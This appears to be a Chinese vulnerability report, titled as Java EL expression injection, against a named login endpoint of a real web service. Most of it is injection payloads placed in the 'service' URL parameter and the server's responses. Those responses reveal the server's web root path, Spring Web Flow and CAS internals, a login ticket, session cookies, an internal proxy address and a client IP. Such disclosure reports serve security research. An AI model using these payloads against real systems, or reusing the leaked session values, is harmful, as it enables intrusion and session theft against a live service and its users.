javael表达式_JAVAWEBEL表达式注入

#1 漏洞地址

code 区域

https://auth.p4p.sogou.com/login?service&＃61;${1000-900}

code 区域

https://auth.p4p.sogou.com/login?service&＃61;${pageContext}

action&＃61;"/login?service&＃61;com.caucho.jsp.PageContextImpl&＃64;2aaf3a58" method&＃61;"post">

#2 表达式执行后的结果返回在页面

获取web路径

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

file:/opt/local/resin/

code 区域

https://auth.p4p.sogou.com/login?service&＃61;${requestScope}

{javax.servlet.jsp.jstl.fmt.locale&＃61;zh_CN, org.springframework.validation.BindingResult.credentials&＃61;org.springframework.webflow.mvc.view.BindingModel: 0 errors, flashScope&＃61;map[[empty]], flowExecutionUrl&＃61;/login?service&＃61;%5BLjava.lang.String%3B%40660b2cde, warnCOOKIEValue&＃61;false, javax.servlet.forward.servlet_path&＃61;/login, org.springframework.web.servlet.support.RequestContext.CONTEXT&＃61;Flow ApplicationContext [login]: startup date [Tue Apr 12 21:38:02 CST 2016]; parent: WebApplicationContext for namespace &＃39;eunomia-servlet&＃39;, org.springframework.web.servlet.DispatcherServlet.THEME_SOURCE&＃61;WebApplicationContext for namespace &＃39;eunomia-servlet&＃39;: startup date [Tue Apr 12 21:37:56 CST 2016]; parent: Root WebApplicationContext, caucho.forward&＃61;true, javax.servlet.forward.request_uri&＃61;/login, javax.servlet.forward.query_string&＃61;service&＃61;${requestScope}, loginTicket&＃61;LT-16293-w2RJq4zIVtOY04HWxDFFgagPRy271m, javax.servlet.forward.context_path&＃61;, phoneValidationModel&＃61;com.sogou.bizdev.eunomia.validation.phone.PhoneValidationModel&＃64;2da91c3c, org.springframework.web.servlet.FlashMapManager.OUTPUT_FLASH_MAP&＃61;[Attributes&＃61;{}, targetRequestPath&＃61;null, targetRequestParams&＃61;{}], flowRequestContext&＃61;[RequestControlContextImpl&＃64;4bab0382 externalContext &＃61; org.springframework.webflow.mvc.servlet.MvcExternalContext&＃64;4873729d, currentEvent &＃61; viewAcountLogin, requestScope &＃61; map[[empty]], attributes &＃61; map[[empty]], messageContext &＃61; [DefaultMessageContext&＃64;1369c694 sourceMessages &＃61; map[[null] -> list[[empty]]]], flowExecution &＃61; [FlowExecutionImpl&＃64;56c2881 flow &＃61; &＃39;login&＃39;, flowSessions &＃61; list[[FlowSessionImpl&＃64;7fd72fee flow &＃61; &＃39;login&＃39;, state &＃61; &＃39;accountViewLoginForm&＃39;, scope &＃61; map[&＃39;phoneValidationModel&＃39; -> com.sogou.bizdev.eunomia.validation.phone.PhoneValidationModel&＃64;2da91c3c, &＃39;loginTicket&＃39; -> &＃39;LT-16293-w2RJq4zIVtOY04HWxDFFgagPRy271m&＃39;, &＃39;service&＃39; -> ${requestScope}, &＃39;credentials&＃39; -> [username: null], &＃39;warnCOOKIEValue&＃39; -> false, &＃39;ticketGrantingTicketId&＃39; -> [null], &＃39;viewScope&＃39; -> map[&＃39;commandName&＃39; -> &＃39;credentials&＃39;]]]]]], viewScope&＃61;map[&＃39;commandName&＃39; -> &＃39;credentials&＃39;], javax.servlet.jsp.jstl.fmt.localizationContext&＃61;org.springframework.web.servlet.support.JstlUtils$SpringLocalizationContext&＃64;88bf3d4, org.springframework.web.servlet.DispatcherServlet.LOCALE_RESOLVER&＃61;org.springframework.web.servlet.i18n.COOKIELocaleResolver&＃64;1c34e7ae, org.springframework.web.servlet.DispatcherServlet.CONTEXT&＃61;WebApplicationContext for namespace &＃39;eunomia-servlet&＃39;: startup date [Tue Apr 12 21:37:56 CST 2016]; parent: Root WebApplicationContext, org.springframework.web.servlet.DispatcherServlet.THEME_RESOLVER&＃61;org.jasig.cas.services.web.ServiceThemeResolver&＃64;55565ef9, flowExecutionKey&＃61;e110s1, service&＃61;${requestScope}, commandName&＃61;credentials, encodingFilter.FILTERED&＃61;true, credentials&＃61;[username: null]}

code 区域

https://auth.p4p.sogou.com/login?service&＃61;${header}

{Upgrade-Insecure-Requests&＃61;1, Accept-Language&＃61;zh-CN,zh;q&＃61;0.8,en;q&＃61;0.6,zh-TW;q&＃61;0.4, COOKIE&＃61;SUV&＃61;1446734204911570; IPLOC&＃61;CN4401; SUID&＃61;BA5782774FC80D0A00000000563B6987; pgv_pvi&＃61;3484909568; sct&＃61;4; LSTMV&＃61;703%2C260; LCLKINT&＃61;108193; CXID&＃61;5CE9FE68778002DCEC30C2A9412EBA10; GOTO&＃61;; ad&＃61;3wENElllll2Q7p51lllllVtpqM7lllllNcJUWlllll9lllllxTDll5&＃64;&＃64;&＃64;&＃64;&＃64;&＃64;&＃64;&＃64;&＃64;&＃64;; _euid&＃61;75841017-9d86-4069-9421-d077bd8489ef; JSESSIONID&＃61;abcN1iKReDhPacJcOLoqv; session_id_agent_crm&＃61;8a089ef7-44bf-493b-81bc-45a327cf03ec, Host&＃61;auth.p4p.sogou.com, PROXY_ADDR&＃61;10.149.29.104, Accept-Encoding&＃61;gzip, deflate, sdch, X-Real-IP&＃61;119.130.85.119, X-Forwarded-For&＃61;*******, User-Agent&＃61;, Connection&＃61;close, Accept&＃61;text/html,application/xhtml&＃43;xml,application/xml;q&＃61;0.9,image/webp,*/*;q&＃61;0.8}